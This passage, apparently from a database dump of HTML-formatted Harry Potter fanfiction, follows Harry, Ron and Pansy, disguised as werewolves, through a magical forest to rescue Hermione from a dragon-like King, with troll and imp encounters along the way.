use.&quot;</p>\n\n<p>Pansy flips her hair, as if she&#8217;s trying to rid herself of a pest, and smiles at Harry in an insidious way.&nbsp; </p>\n\n<p>&#8220;I suppose it was a good deal of fun you had, letting me think you were sacrificing me to that thing&#8230;which you almost did by the way.&#8221;</p>\n\n<p>Ron shoves his hands into the tall grass, trying to wipe off Fluffy&#8217;s rancid drool.</p>\n\n<p>&#8220;It serves you right for sneaking around on us in the first place.&nbsp; I think it just about makes us even, don&#8217;t you Harry?&#8221;</p>\n\n<p>Harry smiles a little, &#8220;Just about.&#8221;</p>\n\n<p>Dergon says something to a young werewolf boy, motioning for him to leave them. </p>\n\n<p>&#8220;I will keep my promise to you.&nbsp; Naya and I will accompany you to the center of the forest.&#8221;</p>\n\n<p>Harry shakes Dergon&#8217;s hand again. &#8220;Thank you, and I&#8217;d like to leave tonight... if that&#8217;s acceptable.&#8221;</p>\n\n<p>Dergon looks out towards the path. &#8220;The forest is filled with cold, black spaces where the sun never gets to anyway. What is it that you seek there?&nbsp; Have you come all this way just to see the King introduce his bride at the games?&#8221;</p>\n\n<p>Harry looks over at Ron.&nbsp; Then back at Pansy, who is watching the werewolf girl pick little red bugs off of her skin, popping them into her mouth. She offers one to Pansy who turns up her nose in disgust. </p>\n\n<p>&#8220;Yes...uh, the games,&#8221; Harry answers, unsure of where Dergon\'s loyalty lies. He couldn\'t very well tell him they were going to recue the King\'s \'Bride\'. </p>\n\n<p>Dergon shakes his head in confusion, looking back at his companions.&nbsp; &#8220;The King will not permit a human to attend the games.&#8221;</p>\n\n<p>Ron mouths &#8216;What games?&#8217; and Harry shrugs.&nbsp; </p>\n\n<p>&#8220;It is a competition for the right to serve as our Kings right hand.&nbsp; The winner gets wealth and security until old age, while the losers are put to death.&nbsp; It happens every twenty years. We will help you with a disguise if you like, it is an event worth seeing,&#8221; Dergon offers, &#8220;I have often contemplated entering myself, but I fear for the well being of my tribe if I were to lose.&#8221;&nbsp; </p>\n\n<p>Harry nods anxiously, and Pansy whimpers at the thought of dressing up like a wolf girl.</p>\n\n<p>&#8220;That would be greatly appreciated,&#8221; Harry says.</p>\n\n<p>Dergon and his men wander back towards the camp.&nbsp; Ron walks up next to Harry. His eyes are serious and intense.</p>\n\n<p>&#8220;Do you think going to these games will help us find Hermione?&#8221;</p>\n\n<p>Harry nods. &#8220;I&#8217;m sure of it.&nbsp; You heard Dergon; the King is going to introduce his bride.&nbsp; That means we&#8217;d get to see Hermione.&nbsp; At least see if she&#8217;s alright,&#8221; Harry says looking up at the night sky, wondering if he&#8217;ll get to her in time.</p>\n\n<p>Pansy snorts.&nbsp; &#8220;You&#8217;ve got it really bad for the mudblood don&#8217;t you, Potter.&#8221;</p>\n\n<p>Harry snaps angrily at her, &#8220;I suggest you not call her that.&quot; </p>\n\n<p>Ron is too busy looking for something to clean himself off with to hear her comment.</p>\n\n<p>Pansy laughs, &#8220;Don&#8217;t get so hot under the collar.&nbsp; She <i>is </i>sort of pretty in a way I guess, although I think it&#8217;d probably take Moses to part those knees...&#8221; </p>\n\n<p>~~~~~~~~~~~~</p>\n\n<p><i>Maybe she will grow to love him in time &#8211;</i> pillow says softly <i>&#8211; maybe she will be happy again &#8211;</i>\n\n</p>\n\n<p><i>Are you daft?-</i> blanket replies <i>&#8211; she loves another already, she would rather die a miserable death &#8211; </i></p>\n\n<p>&#8216;Harry will rescue me,&#8217; Hermione thinks defiantly, &#8216;I am certain of it.&#8217;</p>\n\n<p><i>She&#8217;s crazy is what she is, thinking a silly human will be able to defeat our King-</i> the tree outside of her window scolds <i>&#8211; ungrateful and insane, a fitting Queen she will be &#8211; </i></p>\n\n<p>Her situation has suddenly become more desperate and she tries to block out her thoughts because she knows she won&#8217;t get any real sleep that night. She has dozed off once or twice, only to be awakened by small rushes of anxiety. </p>\n\n<p>Her nightgown is thin, but it is unusally warm. Every now and then, it feels like a vortice of warm air is moving over her. She tries to think of her favorite thing. She imagines she is floating, gazing up at the white skiy, the thin sliver of moon still visible at dawn. There is no light coming from the tiny window, and she wonders if the trees will allow any daylight to pass through when the morning comes. </p>\n\n<p>The dress is still downstairs. She doesn\'t want to hear it\'s voice. She wants to see Harry and Ron. And she prays they will find her.</p>\n\n<p><i>\'Hermione Granger is still alive...for now.\'</i></p>\n\n<p>~~~~~~~~~~~~</p>\n\n<p>Pansy is finally clean, after using clear water from the werewolves well to wash away the scent of that dog, those wolves, and those bumbling idiots she found herself accompanying to rescue some girl she barely knew.&nbsp; The rude werewolf girl, Naya, had reluctantly given her one of her rugged little dresses to complete her &#8220;disguise&#8221;.&nbsp; </p>\n\n<p>But Pansy is just glad the garment is clean.&nbsp; Especially since Potter insisted they leave that night in order to make it to the center of the forest by morning.&nbsp; </p>\n\n<p>She wonders if Draco has even noticed she is missing, and she hates that Weasley might actually be right about something.&nbsp; She doesn&#8217;t see the redhead sneak up behind her.</p>\n\n<p>&#8220;I have to admit, it&#8217;s a good thing you know how to sing,&#8221; Ron says, sitting down on a log.&nbsp; He accidentally squashes a brittle bug, and it&#8217;s companion treats Ron to a long string of curse words.</p>\n\n<p>Pansy is suddenly aware of how little she is wearing when Ron&#8217;s eyes wander over her unconsciously.&nbsp; </p>\n\n<p>&#8220;Finally realizing that I have many good qualities Weasley?&nbsp; Did you know I am also an expert fencer and I can play the piano &#8230;&#8221; she says, tying her hair back with a piece of string.</p>\n\n<p>&#8220;It&#8217;s more impressive when others discover your good qualities without your help,&#8221; Ron answers, &#8220;I can&#8217;t believe anyone can be so vain.&#8221; Ron moves his eyes to his feet, blushing furiously, as Harry walks towards them.</p>\n\n<p>&#8220;I&#8217;m not vain, although I have every right to be,&#8221; she replies.</p>\n\n<p>Harry shuts his eyes for a moment, listening to the persistent voice of Hermione&#8217;s favorite book.</p>\n\n<p>&#8220;What is he doing?&#8221; Pansy asks, as Harry blanky stares into the darkness..</p>\n\n<p>&#8220;Doesn&#8217;t concern you,&#8221; Ron says, looking at the garment Dergon has given him to wear. &#8220;Not much to this thing is there?&#8221;</p>\n\n<p>The book\'s pleas to Harry are sad and needy.&nbsp; It misses her, like he does.&nbsp; He has known a good deal of Glory, and he isn&#8217;t ungrateful, but nothing has ever lasted.&nbsp; Nothing ever amounted to anything.&nbsp; That&#8217;s why he has to find her.&nbsp; He isn&#8217;t sure what he&#8217;ll say or do when he does, but he knows he has to.&nbsp; He is staring at the book now, ignoring Pansy and Ron&#8217;s bickering.</p>\n\n<p>&#8220;You shouldn&#8217;t let your mind wander Potter, It isn&#8217;t big enough to make it out on it&#8217;s own,&#8221; Pansy says, bringing him back to his current reality. Harry\'s eyes remain far away and sad, and Pansy feels an unfamiliar pang of regret.</p>\n\n<p>~~~~~~~~~~~~</p>\n\n<p>&#8220;You can&#8217;t show fear, but when one challenges you, don&#8217;t ever stare directly into their eyes.&nbsp; It is an insult in our world,&#8221; Dergon warns as they follow him down the winding path.&nbsp; They can hear snakes slithering near their feet, crackling their tiny rodent victims against the roof of their mouths. Dark, hot shapes are swooping overhead while strange animals cry out in the distance, hungry for fresh meat. The only thing they can do is keep moving. </p>\n\n<p>Naya is bringing up the rear, daring Pansy to step out of line. &#8220;We will have to pass through the Troll&#8217;s territory, and we have an understanding with them, but they won&#8217;t be pleased to see werewolves they don&#8217;t recognize,&#8221; she cautions.</p>\n\n<p>&#8220;We understand,&#8221; Harry says, grazing his tongue over his fangs.&nbsp; They aren&#8217;t as impressive as the ones Dergon and Naya have, but it is the best they can do. They all look enough like werewolves that no one will question them.&nbsp; At least not while they are with Dergon.&nbsp; The transformation will only last them one week, so time is of essence.&nbsp; Changing their eye color to yellow was easy, except for Harry, whose eyes didn&#8217;t respond to the spell.&nbsp; Dergon agreed that someone would probably notice, but they would most likely think of it only as a mutation.</p>\n\n<p>Pansy isn&#8217;t thrilled with her new look, except for the fangs.&nbsp; There is something sort of nice about having fangs.&nbsp;<i> Yes, very nice indeed.&nbsp;</i> And the way that little animal skin dress fits her seems to be making Weasley just a bit uncomfortable, miserable prat that he is.</p>\n\n<p>~~~~~~~~~~~~</p>\n\n<p>Hermione is lying in bed, but she feels faint, her breath rising and falling, her hands grasping the sheets beneath her.&nbsp; She can\'t seem to will herself to open her eyes. She thinks of Harry&#8217;s hands, the way he fiddles with his dress robes.&nbsp; She thinks about what she will say if she ever sees him again. She keeps her thoughts on him, his memory bringing her a certain calm.&nbsp; </p>\n\n<p>She doesn&#8217;t know that Edred is in her room, observing her.&nbsp; He can see her breasts, and her ribs and how her waist narrows.&nbsp; Her long legs are a little apart as she lay on her back in the dark.</p>\n\n<p><i>He will wait.&nbsp; </i></p>\n\n<p>He has desired her before, in fleeting moments of weakness and loneliness, but never was the desire as strong.</p>\n\n<p>She mumbles silently again, her mouth forming words.&nbsp; He considers giving her back her voice just for a moment, so he can hear what she sounds like.&nbsp; But he worries that she might sound shrill or needy or weak.&nbsp; He decides that he likes her masked in silence.&nbsp; </p>\n\n<p><i>She is more than beautiful.&nbsp;</i>\n\n</p>\n\n<p>The human part of his flesh is boiling now, much hotter then the dragon flesh that can ignite fire. </p>\n\n<p>~~~~~~~~~~~~</p>\n\n<p>Strands of cobwebs brush across Harry&#8217;s face as they move in the darkness.&nbsp; They have walked at least two hours now.&nbsp; Pansy begins to whine, but Naya squeezes her wrist, cautioning her to be quiet.&nbsp; Dergon has a thick, strong neck and his head swivels alertly while his eyes focus on you before you are prepared for them to.&nbsp; The torch he is carrying illuminates only inches in front of them.</p>\n\n<p>It&#8217;s nearing the end of the night now.&nbsp; And it has been night for a very long time at least, because hours have passed since they left the camp.&nbsp; Harry&#8217;s mind is fractured like broken glass, thinking of Hermione, the book, his own life at risk in the middle of the forest.</p>\n\n<p>Ron&#8217;s pale skin is flushed, and there is a livid, feverish look to his face.&nbsp; They are both dressed like Dergon, but their builds are smaller.&nbsp; Dergon jokes that some will think of them only as children, and not young men.</p>\n\n<p>Harry notices Ron is shivering.&nbsp; Another quick shift in weather, as if each part of the forest adapts itself for its local inhabitants.&nbsp; The wind is stronger now.</p>\n\n<p>Ron stammers, &#8220;I can&#8217;t see even a foot ahead of me.&#8221;</p>\n\n<p>&#8220;I can see clearly,&#8221; Dergon reassures them, &#8220;And we are approaching Troll territory.&#8221;</p>\n\n<p>&#8220;How do you know that?&nbsp; It&#8217;s pitch black out here.&nbsp; I can&#8217;t even see a bloody tree!&#8221; Pansy says.</p>\n\n<p>Her foot steps in something warm and squishy.&nbsp; </p>\n\n<p>&#8220;Ugh, what is that?&#8221; she whispers, wiping her foot onto a nearby tree stump.</p>\n\n<p>Dergon laughs.&nbsp; &#8220;It&#8217;s fresh, their camp must be close.&#8221;</p>\n\n<p>She gags, wishing she were back at Hogwarts, away from Potter and Weasley, and werewolves... and Troll dung.</p>\n\n<p>&#8220;I hear that stuff is good for the complexion,&#8221; Ron teases.&nbsp; She kicks some at him.</p>\n\n<p>&#8220;Hey!&#8221;</p>\n\n<p>&#8220;Shh&#8230;&#8221; Dergon warns, &#8220;I hear something.&#8221;</p>\n\n<p>There is an unexpected flicker of light a few feet away.&nbsp; A small flame from a fire, and in the shadows, the reflection of the first thing they had ever fought together.&nbsp;&nbsp;There is more than one however, and what looks like two female trolls are hovering over a large pot, prodding, gossiping and grunting at each other like the witches from <i>Macbeth.&nbsp;</i>\n\n</p>\n\n<p>&#8220;I can&#8217;t believe Hagrid used to wrestle those things, but they are interesting creatures,&#8221; Ron whispers to Harry.</p>\n\n<p>Dergon nods to them,&nbsp;&quot;If you understood them like we do, you wouldn\'t find them so interesting.&quot;</p>\n\n<p>They will have to approach the Trolls cautiously. </p>\n\n<p>&#8220;Hopefully, we won&#8217;t have wrestle any tonight,&#8221; Harry says, as they quietly step out of the shadows.</p>\n\n<p>~~~~~~~~~~~~</p>\n\n<p>Hermione&#8217;s body wants to sleep, but she can&#8217;t.&nbsp; All the horrible things she could have imagined, helter-skelter, are all swirling around like visions tossed into the commanding wind.&nbsp; The wind, which has callously handed her a fate worse than death.</p>\n\n<p><i>A monster sleeps in the next room.&nbsp; </i></p>\n\n<p>She has seen it with her own eyes, his shirt ripping to accommodate his wings, speckled and multi-colored.&nbsp; His hands and feet tangling into fearsome claws.</p>\n\n<p><i>Please sleep dear - </i>her pillow says - <i>we\'re beginning to worry - </i></p>\n\n<p>She cries again.&nbsp; Not for the pain of the burn on her cheek, but for the loss of ignorance about what it was she was dealing with.&nbsp; She thought him a madman, but not a monster.&nbsp; She was foolish to think she would continue to live there <i>without&#8230;</i></p>\n\n<p>She didn&#8217;t want to think about it.&nbsp; She would think about how to escape.&nbsp; Harry is in the forest now.&nbsp; He and Ron.&nbsp; She almost kissed Harry once, in the common room after a long night of studying for potions.&nbsp; They stared into each other&#8217;s eyes for an unusually long amount of time, until she broke away, the moment forever lost. </p>\n\n<p><i>You need rest my dear &#8211; </i>pillow says <i>&#8211; please try to sleep-</i>\n\n</p>\n\n<p><i>Dream &#8211; </i>dresser suggests<i>&#8211; dream of flying, you enjoy that dream-&nbsp; </i>\n\n</p>\n\n<p>After she had been captured, flying away had become her favorite fantasy. There was great irony in the fact that she now dreamed about doing something she had only done when necessary, never having been one to enjoy riding a broomstick. But not even her dreams of the earth unfolding beneath her can recompense for all the time taken away from her, or for all of the lost kisses.</p>\n\n<p>Edred watches her mouth move, her eyes flutter, and he slinks into his room to await the glorious morning.</p>\n\n<p>&nbsp; </p>\n\n<p>&nbsp; </p> '),
	(220, 6, ' <p><b>AN:</b> (Definition from the Harry Potter Lexicon) <b><u>Imp:</u></b>&nbsp; is similar to the Pixie and the Fairy. It is about seven inches tall and is colored dull brown or black. Imps live in damp or marshy areas. They have a somewhat slapstick sense of humor and they love to trip people. Imran, James, Max and Patrick make their debut in this chapter as members of an Imp gang.&nbsp; <i>Sorry boys, I just couldn&#8217;t help myself.</i>&nbsp; Also: The line &#8220;Hermione awakens and immediately regrets it&#8221; is from Douglas Adams&#8217; &#8220;The Hitchhikers Guide to the Galaxy&#8221;.&nbsp; Thanks to <b>Seakays</b>, for the fantastic beta!</p> &nbsp; <u>Chapter 5 &#8211; Hidden Oasis</u>\n\n<p>~~~~~~~~~~~~~~</p>\n\n<p>Harry steps into the firelight alongside of Dergon.&nbsp; Ron, Pansy and Naya follow close behind.&nbsp; There are three fully-grown male Trolls sitting around the fire, along with two females brewing something malodorous in a cauldron almost the size of the cave they had spent their first night in.&nbsp; Two young Trolls are running about, making a game out of trying to catch a clabbert, a creature resembling a cross between a monkey and a frog.&nbsp; Harry is amazed that he can see their faces, especially in the dim light.&nbsp; In his guise as a werewolf, he has to keep his glasses tucked away.&nbsp; But, surprisingly enough, his vision is completely clear.&nbsp; Harry can only assume that it&#8217;s because of his new form.</p>\n\n<p>&#8220;Dergon, leader of the Lower Swamp Wolf Clan seeking passage through your camp!&#8221; Dergon proclaims confidently.&nbsp; </p>\n\n<p>The Trolls are surprised, eyeing them all with vacant, antagonized expressions.&nbsp; Harry and the others are well aware of the fact that Trolls are dreadful, encroaching beasts, with smug attitudes and loud voices. They also aren&#8217;t known for their elegant manners.&nbsp; One Troll demonstrates this infamy by standing to take a piss next to the fire circle.&nbsp; The largest Troll, a blue one with cracked skin and tired eyes rises and walks towards them.</p>\n\n<p>Dergon stops Harry and Ron from instinctively drawing their wands. </p>\n\n<p>&#8220;What give us?&#8221; the beast grumbles, proper English also not being a valued skill among his kind.&nbsp; </p>\n\n<p>The small Trolls have given up on catching the clabbert, and run behind the two female Trolls so they can safely ogle the outsiders.</p>\n\n<p>&#8220;We offer you alliance with our clan,&#8221; Dergon says.</p>\n\n<p>The other two male Trolls laugh, and slap each other on the backs.&nbsp; Ron gives Harry a look of dismay.&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;This may not go as I&#8217;d hoped,&#8221; Dergon whispers to the two young men.</p>\n\n<p>The largest Troll takes a step closer.&nbsp; &#8220;Girl!!&#8221; the Troll says, pointing to Pansy.</p>\n\n<p>Dergon and Naya eye Pansy pityingly, looking over at Harry and Ron for an answer.</p>\n\n<p>&#8220;They want Pansy?&#8221; Harry asks.</p>\n\n<p>&#8220;Sure, no prob&#8212;&#8221; Ron begins, cut off by a jab to the side from Harry.</p>\n\n<p>The largest Troll is beating on his chest Impatiently, looking for a response.</p>\n\n<p>&#8220;We can&#8217;t give you the girl,&#8221; Harry says.</p>\n\n<p>The Troll shakes his head, &#8220;No! Want!&#8221;&nbsp; Harry realizes the Troll is pointing to Pansy&#8217;s wrist.&nbsp; &#8220;That!&#8221; he grunts again.&nbsp; He reaches out to touch the lustrous gold, and Pansy yanks her hand away.&nbsp; The Troll seems irked by her response.&nbsp; </p>\n\n<p>&#8220;They want your bracelet, just give it to them Pansy,&#8221; Ron urges, anxious to get out from downwind of the beast.</p>\n\n<p>&#8220;No!&nbsp; This bracelet is very expensive!&#8221; she protests, &#8220;and Draco had it engraved for me last Christmas.&#8221;</p>\n\n<p>Ron rolls his eyes, shaking his head.&nbsp; Naya growls at Pansy.&nbsp; Pansy growls back, baring her own fangs.</p>\n\n<p>&#8220;I&#8217;ll get you another one if you give it to him Pansy,&#8221; Harry pleads.</p>\n\n<p>Pansy sighs, and reluctantly unhooks the tiny latch.&nbsp; She grieves for the loss of the one thing left on her body that makes her feel like she is still a Parkinson.</p>\n\n<p>&#8220;Fine, but you are going to have to replace this, Harry.&#8221;</p>\n\n<p>Harry nods sympathetically.&nbsp; &#8220;I promise that I will, as soon as we return.&#8221;</p>\n\n<p>Pansy hands the bracelet to the Troll who sniffs at it and smiles.&nbsp; He tosses it over to one of the females, who ties it around her finger like a ring.&nbsp;&nbsp;&nbsp; The female Trolls are swooning over the shiny trinket, and neglect their brew for a moment.&nbsp; Pansy muffles a scream as an enormous hand floats to the top of the cauldron.&nbsp; The Troll woman who is wearing Pansy&#8217;s bracelet beats the appendage back down, shrugging her shoulders and looking over at her companion.</p>\n\n<p>&#8220;Pass,&#8221; says the large Troll, now happy to have made a trade.&nbsp; He grunts in the direction of a tree near the end of the camp.&nbsp; There is the half-decayed body of a Troll dangling from it.&nbsp; They reluctantly walk towards the carcass, then around it.&nbsp; </p>\n\n<p>&#8220;Oh God&#8230;&#8221; Pansy says, turning her head away from the gory scene.</p>\n\n<p>&#8220;Lazarus,&#8221; Dergon says, looking up at the ripped body.</p>\n\n<p>&#8220;Who is that?&#8221; Harry asks, trying not to stare too long at the empty eyes of the beast. </p>\n\n<p>&#8220;He is a Peruvian vipertooth dragon who serves the King and protects the forest.&nbsp; Even his fangs are venomous.&nbsp; This Troll must have committed a traitorous act to be slain by Lazarus.&nbsp; That is why they are devouring him, to show their loyalty,&#8221; Dergon explains.</p>\n\n<p>&#8220;Things just got more interesting,&#8221; Harry says to Ron as they walk along the edge of the camp, towards the red beginnings of a rising sun.</p>\n\n<p>~~~~~~~~~~~~~~</p>\n\n<p>Hermione awakens from her half-sleep, immediately regretting it.&nbsp; She feels seedy. Her mind begins to replay the scene from the night before, and she grimaces as she remembers his serpent-like fingertips tracing a menacing path down the side of her face; stopping at her neck.&nbsp;&nbsp; There is fear, but the feeling she feels most of all is uncertainty.&nbsp; She doesn&#8217;t know if Harry and Ron are still on their way, and she doesn&#8217;t have a plan.</p>\n\n<p><i>Sounds like you have a long and horrible day ahead of you&#8211;</i> the tree outside of her window teases-</p>\n\n<p>&#8216;Shut up&#8217;, she thinks angrily, &#8216;If I am going to be your queen you had better learn to respect me&#8217;.</p>\n\n<p>The trees grow silent, except for a few angry whispers to themselves.&nbsp; </p>\n\n<p>Edred has laid her dress on the chair by the door.&nbsp; The thought of him having been in her room without her knowing it makes her queasy.&nbsp; She can hear him walking around downstairs as she catches a glimpse of herself in the mirror.</p>\n\n<p><i>Perhaps if you splash some water on your face &#8211;</i> the mirror suggests &#8211;<i> or maybe have a nice cup of tea- </i></p>\n\n<p>She is in no mood for chit-chat.&nbsp; She begins to brush her hair, contemplating her situation.&nbsp; The trees had grown silent at her request.&nbsp; She wonders if she were to become Queen, would they have to obey her too?&nbsp;&nbsp; Perhaps the thing she had lost so much sleep over last night was her ticket to freedom.&nbsp; She needed to think.</p>\n\n<p>How could she escape this monster and still live to tell the tale?&nbsp; She has no magical powers without her wand and her voice.&nbsp; The sensible course of action has got to be some sort of strategic retreat.&nbsp; Hermione knows from experience that she cannot count on Harry or Ron to have a well-developed plan when, or if, they arrive to save her.</p>\n\n<p>She is courageous, but foolhardy courage doesn&#8217;t count as a virtue.&nbsp; </p>\n\n<p><i>Treachery &#8211;</i> the trees hiss again.</p>\n\n<p>&#8216;I thought I commanded that you be silent!&#8217; she thinks, testing the waters again.</p>\n\n<p>And they listen.</p>\n\n<p>~~~~~~~~~~~~~~</p>\n\n<p>Dergon doesn&#8217;t explain how close they are, but Harry can feel a stirring of life nearby.&nbsp; There are whispers and faint noises in the distance.&nbsp; He becomes more anxious as they move through the tall grass towards a hilltop, surrounded by a few oak trees and a small marsh.&nbsp; </p>\n\n<p><i>We are almost at the center &#8211;</i> Hermione&#8217;s book says excitedly &#8211; </p>\n\n<p>The daylight has finally illuminated their path, and they move forward more swiftly, without fear of accidentally stepping on a sleeping snake or waking up some other inhabitant along the way. </p>\n\n<p>When they reach the top of the hill, Harry is surprised at the stunning site before them. There is a city, with stone houses and small, well-kept yards. A wide path of winding brick road stretches through the whole town, leading up to a wood on the other side.&nbsp; Harry can see the top of a larger house over the trees, in the middle of the thicket.</p>\n\n<p>&#8220;Is that where the King lives?&#8221; Harry asks Dergon, pointing to the far away home.</p>\n\n<p>&#8220;Yes,&#8221; Dergon replies, &#8220;I have always believed it to be, although few have ever paid the king a visit.&#8221;</p>\n\n<p>&#8220;We could make it there by tonight, but we&#8217;d better come up with a way to get her out first.&#8221; Ron says.</p>\n\n<p>Harry shakes his head.&nbsp; &#8220;I think we need to find out more about what we&#8217;re dealing with and&#8211;&#8221;</p>\n\n<p><i>Rattle! Clang! Whoosh! </i></p>\n\n<p>There is shuffling down near their feet, and a tiny brown Imp leaps out from behind a bush.&nbsp; His eyes are wide, fringed with black ashes and he is covered in brown fur, wearing tiny pants with a pocket sewn onto only one of the legs.&nbsp; </p>\n\n<p>&#8220;Stop! Hand over everything of value to us, by order of the King!&#8221; he says.&nbsp; He is carrying what looks like a spoon.&nbsp; There are several tools and weapons dangling from his belt, and he sounds like a wind chime as he bounces about menacingly.</p>\n\n<p>&#8220;What the Hell are you?&#8221; Pansy says, bending to eye the creature more closely.&nbsp; Dergon and Naya laugh, and Harry and Ron look at the creature with much amusement.</p>\n\n<p>&#8220;Going to spoon them to death Imran? You weren&#8217;t supposed to jump out just then, you idiot!&#8221; another Imp says from behind the same bush.&nbsp; &#8220;Now you&#8217;ve gone and ruined it!&#8221;&nbsp; Realizing his mistake, Imran drops his spoon and pulls out a tiny sword.</p>\n\n<p>&#8220;I can&#8217;t believe this!&#8221; another Imp says, appearing from behind a rock, &#8220;Third time this week you&#8217;ve gone and jumped the gun on a perfectly planned mugging!&#8221;&nbsp; The last Imp looks around indignantly.&nbsp; &#8220;Where the Hell is Patrick?&#8221;</p>\n\n<p>&#8220;Here, waiting for you fools to finish bickering,&#8221; a small, brooding voice calls out.</p>\n\n<p>The Imp called Patrick climbs down from the tree nearest Ron.&nbsp; </p>\n\n<p>&#8220;We don&#8217;t have time to be pestered by the likes of you,&#8221; Dergon says, picking up the struggling Imran.</p>\n\n<p>&#8220;Oh yeah!&nbsp; You think you can just walk into our city without paying an entrance fee?&#8221; the second Imp says.</p>\n\n<p>Dergon bares his fangs, poking his finger at the feisty Imp.&nbsp; &#8220;The King charges no fee to get into the City.&nbsp; You are nothing but criminals!&#8221;</p>\n\n<p>&#8220;So what!&nbsp; You think because you&#8217;re bigger than us you can come waltzing into our city without paying some sort of dues?&nbsp; Huh?&#8221; </p>\n\n<p>The bold Imp draws his own sword and swings it around Impressively. </p>\n\n<p>&#8220;Shut up Max, before the wolf decides he wants a s-n-a-c-k!&#8221; Imran whimpers.</p>\n\n<p>&#8220;We just heard you saying you were going to mug us!&#8221; Harry says, remembering to bare his own fangs, &#8220;Not that you would have been successful at it.&#8221;</p>\n\n<p>&#8220;Well, if Imran had just waited until I gave the command and not jumped the gun&#8230;well, we had a good plan was all,&#8221; the last Imp says.</p>\n\n<p>&#8220;James&#8230;do you think we could discuss this once the wolf puts me down,&#8221; Imran says.</p>\n\n<p><i>-So close, why are we stopping- </i>Hermione&#8217;s book says to Harry Impatiently- </p>\n\n<p>Harry grips his knapsack to keep it from jumping around.&nbsp; Dergon licks his teeth in anticipation.&nbsp; &#8220;That snack idea sounds pretty good,&#8221; he says.</p>\n\n<p>&#8220;Wait!&nbsp; Don&#8217;t eat him!&#8221; Patrick yells, putting his sword back into his tiny green pants.&nbsp; &#8220;We&#8217;ll let you off easy this time.&#8221;</p>\n\n<p>Ron laughs, &#8220;I don&#8217;t think you ever had us.&#8221;&nbsp; Ron picks up Patrick by his collar.</p>\n\n<p>&#8220;We might have if we had stuck to the plan,&#8221; James mumbles again.</p>\n\n<p>&#8220;Ugh, why are we still talking to these little things?&#8221; Pansy says, shifting uncomfortably under the leering glances coming from Max.&nbsp;&nbsp; &#8220;Hi there,&#8221; the smitten Imp says to her, stabbing his sword into the ground and leaning on it suggestively.&nbsp; </p>\n\n<p>&#8220;You&#8217;ll never take me alive!&#8221; Patrick yells, swinging his fists into the air. Ron laughs and puts him down on top of the rock.&nbsp; Max is still leering at Pansy.&nbsp; He slices a blade of grass in half, offering it to her.&nbsp; She crosses her arms in front of her chest.</p>\n\n<p>&#8220;I swear if this little Imp doesn&#8217;t stop staring at me, I&#8217;m going to kick it!&#8221; Pansy snaps.</p>\n\n<p>Max winks at her.&nbsp; &#8220;You&#8217;re not as hairy as other wolf girls I&#8217;ve met, I like it. &#8221;</p>\n\n<p>Naya leaps towards James, who dives behind the bushes again.</p>\n\n<p>&#8220;Um&#8230;a little help?&#8221; Imran says as Dergon lifts him up towards his mouth.&nbsp; </p>\n\n<p>&#8220;Wait Dergon!&#8221; Harry says, &#8220;Do you four know your way around the City?&#8221;</p>\n\n<p>&#8220;I do!&nbsp; I do!&#8221; Imran cries out. Dergon reluctantly stops, and puts him back down onto the ground.&nbsp; Ron plucks the still-swinging Patrick from the rock and plants him next to Imran.&nbsp; </p>\n\n<p>&#8220;I need to be a part of today&#8217;s Games.&nbsp; How can I do that?&#8221; Harry says, kneeling to their level.</p>\n\n<p>Dergon&#8217;s face hardens at Harry&#8217;s announcement.&nbsp; Ron mumbles something close to &#8216;I knew it&#8217; under his breath.</p>\n\n<p>Imran looks up at Harry, surprised. &#8220;Why would you?&nbsp; You&#8217;re not even a very big werewolf. You wouldn&#8217;t stand a chance.&#8221;&nbsp; </p>\n\n<p>Harry growls at Imran.&nbsp; The other Imps raise their swords, preparing to attack the green-eyed werewolf.</p>\n\n<p>&#8220;We need you to take us to where they are holding the Games,&#8221; Harry says.</p>\n\n<p>Imran scratches his head.&nbsp; &#8220;I know how to get you entered into the Games, although it&#8217;s last minute and it will take a lot of work&#8230;&#8221;</p>\n\n<p>Harry groans and reaches into his sack.&nbsp; He pulls out a gold coin and hands it to Imran.</p>\n\n<p>&#8220;Wizard money!&nbsp; How did you get this?&#8221; Imran says excitedly.</p>\n\n<p>&#8220;Never mind, just tell us if you can arrange it or not,&#8221; Ron says, kneeling beside Harry.</p>\n\n<p>&#8220;Sure, we can arrange it.&nbsp; James can have it done in an hour,&#8221; Imran says, kissing the coin. </p>\n\n<p>James grumbles, &#8220;I thought I told you to stop making promises for me?&#8221;</p>\n\n<p>Imran holds the gold coin in the air like a trophy. Max and Patrick are patting Imran on the back and making rude noises at James.</p>\n\n<p>&#8220;Oh alright,&#8221; James says, &#8220;But we&#8217;d better get going if I&#8217;m going to get him entered in time.&#8221;</p>\n\n<p>Harry puts Imran back down onto the ground.&nbsp; Dergon looks over towards Harry.&nbsp; &#8220;We didn&#8217;t realize your goal was to enter the Games. &nbsp;I would advise against it, but I trust you know your <i>situation</i> as well I as I do,&#8221; he says, referring to Harry&#8217;s temporary disguise.</p>\n\n<p>Ron and Pansy exchange glances.&nbsp;&nbsp; Harry holds out a few gold coins to Dergon, who accepts this gesture.</p>\n\n<p>&#8220;This will bring us food in the trade,&#8221; Dergon says.</p>\n\n<p>Naya anxiously grabs a coin away from Dergon.&nbsp; He snaps at her and she sulks, handing the coin back to him.</p>\n\n<p>&nbsp;&#8220;You have helped us more than we could have asked.&nbsp; And if you wish to leave us now, we understand,&#8221; Harry offers.</p>\n\n<p>Dergon looks towards the town, and then back at Harry.&nbsp; &#8220;We will escort you to the Games.&nbsp; Then our debt will be paid.&#8221;</p>\n\n<p>Pansy begins walking down the hill.&nbsp; &#8220;Touching, very touching, but the little rat said we had to hurry up.&#8221;</p>\n\n<p>Imran protests, &#8220;We are not rats!&#8221; </p>\n\n<p>Ron and Harry race to catch up with her.&nbsp; &#8220;Since when did you become concerned with this mission anyway Pansy?&#8221; Ron asks.</p>\n\n<p>Pansy kicks dirt at Max, who is following her a little too closely.</p>\n\n<p>&#8220;Since it became clear that the sooner this idiotic rescue is over with, the sooner I can get back home.&#8221;</p>\n\n<p>~~~~~~~~~~~~~~</p>\n\n<p>&#8220;How may we help you?&#8221; a goblin says to the motley crew standing before him.&nbsp; The Imps have led them to what looks like a supply store.&nbsp; There are bottles and bags lining the shelves, and a female goblin sits in the corner, manning what appears to be a cash register.</p>\n\n<p>James waves his arms in the air to catch the attention of the goblin.&nbsp; </p>\n\n<p>&#8220;We seek an audience with the organizer of this afternoon&#8217;s Games.&nbsp; I did some work for him before.&nbsp; Tell him that James is here to see him,&#8221; the mild mannered Imp says.</p>\n\n<p>&#8220;Is he expecting you?&#8221; the goblin says haughtily, &#8220;<i>All </i>of you?&#8221;</p>\n\n<p>&#8220;Probably 